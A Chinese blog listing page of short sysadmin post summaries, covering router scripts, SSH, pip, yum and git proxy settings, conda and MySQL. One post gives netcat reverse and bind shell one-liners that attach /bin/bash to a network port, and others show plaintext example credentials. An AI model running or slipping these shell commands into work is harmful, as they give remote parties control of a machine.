上一页 1 ··· 9 10 11 12 13 14 15 16 17 ··· 77 下一页
摘要: 自定义hosts /etc/custom_hosts127.0.0.1 a.a.a127.0.0.1 a.b.b /etc/init.d/dnsmasq reload home目录 mkdir -p /userdisk/root/rc.local添加mount /userdisk/root/ /ro 阅读全文
posted @ 2020-03-01 16:45 ahuo 阅读(892) 评论(0) 推荐(0)
摘要: # -*- coding: utf-8 -*- # reboot TP-LINK router script # import urllib2 import base64 from datetime import datetime # IP for the routers routers = [ { 阅读全文
posted @ 2020-02-25 12:06 ahuo 阅读(1100) 评论(0) 推荐(0)
摘要: json import datetime import json res=json.loads(rs) print(datetime.datetime.now(),'D01', res['data']) http-get import requests url = "www.baidu.com" p 阅读全文
posted @ 2020-02-24 12:17 ahuo 阅读(180) 评论(0) 推荐(0)
摘要: vi /etc/ssh/sshd_config #AllowAgentForwarding yes AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes X11DisplayOffset 10 X11UseLocalhost no //网 阅读全文
posted @ 2020-02-13 12:10 ahuo 阅读(1327) 评论(0) 推荐(0)
摘要: img_org = cv2.UMat(cv2.imread(img2_name)) img_org.get() 阅读全文
posted @ 2020-02-03 14:47 ahuo 阅读(1676) 评论(0) 推荐(0)
摘要: vi ~/.pip/pip.conf[global]trusted-host = mirrors.aliyun.comindex-url = https://mirrors.aliyun.com/pypi/simple pip install -i http://mirrors.aliyun.com 阅读全文
posted @ 2020-02-02 22:09 ahuo 阅读(21611) 评论(0) 推荐(0)
摘要: udp://denis.stalker.upeer.me:6969/announceudp://explodie.org:6969/announceudp://ipv4.tracker.harry.lu:80/announceudp://open.demonii.si:1337/announceud 阅读全文
posted @ 2020-02-01 21:37 ahuo 阅读(1051) 评论(0) 推荐(0)
摘要: 修改/etc/yum.conf 文件 在文件的最后加入一行: proxy=socks5://your_ip:port proxy=socks5://192.168.0.47:3333 阅读全文
posted @ 2020-01-16 12:41 ahuo 阅读(1186) 评论(0) 推荐(0)
摘要: webserver.py 启动脚本 restart.sh 阅读全文
posted @ 2020-01-16 12:32 ahuo 阅读(238) 评论(0) 推荐(0)
摘要: ss5IP: c.v.cn 7050U:P test test set:git config --global http.https://github.com.proxy socks5://test:test@c.v.cn:7050git config --global https.https:// 阅读全文
posted @ 2020-01-14 14:09 ahuo 阅读(555) 评论(1) 推荐(0)
摘要: yum install convmv 命令: convmv -f GBK -t UTF-8 -r --nosmart --notest <目标目录> -f from -t to --nosmart 如果已经是utf-8 忽略 -r 包含所有子目录 --notest 不加表示只列出有什么需要转换的,不 阅读全文
posted @ 2019-11-15 17:42 ahuo 阅读(879) 评论(0) 推荐(0)
摘要: 查看conda环境:conda env list 新建conda环境(env_name就是创建的环境名,可以自定义):conda create -n env_name 激活conda环境(ubuntu与Macos 将conda 替换为source):conda activate env_name 退 阅读全文
posted @ 2019-10-14 15:55 ahuo 阅读(435) 评论(2) 推荐(0)
摘要: 反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc 被控制端ip 4444 阅读全文
posted @ 2019-09-23 21:20 ahuo 阅读(1166) 评论(0) 推荐(0)
摘要: sudo apt-get install lirc /etc/lirc/lirc_options.conf In GPIO20 OUT GPIO21 dtoverlay=lirc-rpi,gpio_out_pin=21,gpio_in_pin=20 阅读全文
posted @ 2019-08-29 17:43 ahuo 阅读(511) 评论(0) 推荐(0)
摘要: nohup mysql -u sa -pabcd1234 -e 'source /db.sql' & 阅读全文
posted @ 2019-08-27 23:11 ahuo 阅读(4927) 评论(0) 推荐(0)
上一页 1 ··· 9 10 11 12 13 14 15 16 17 ··· 77 下一页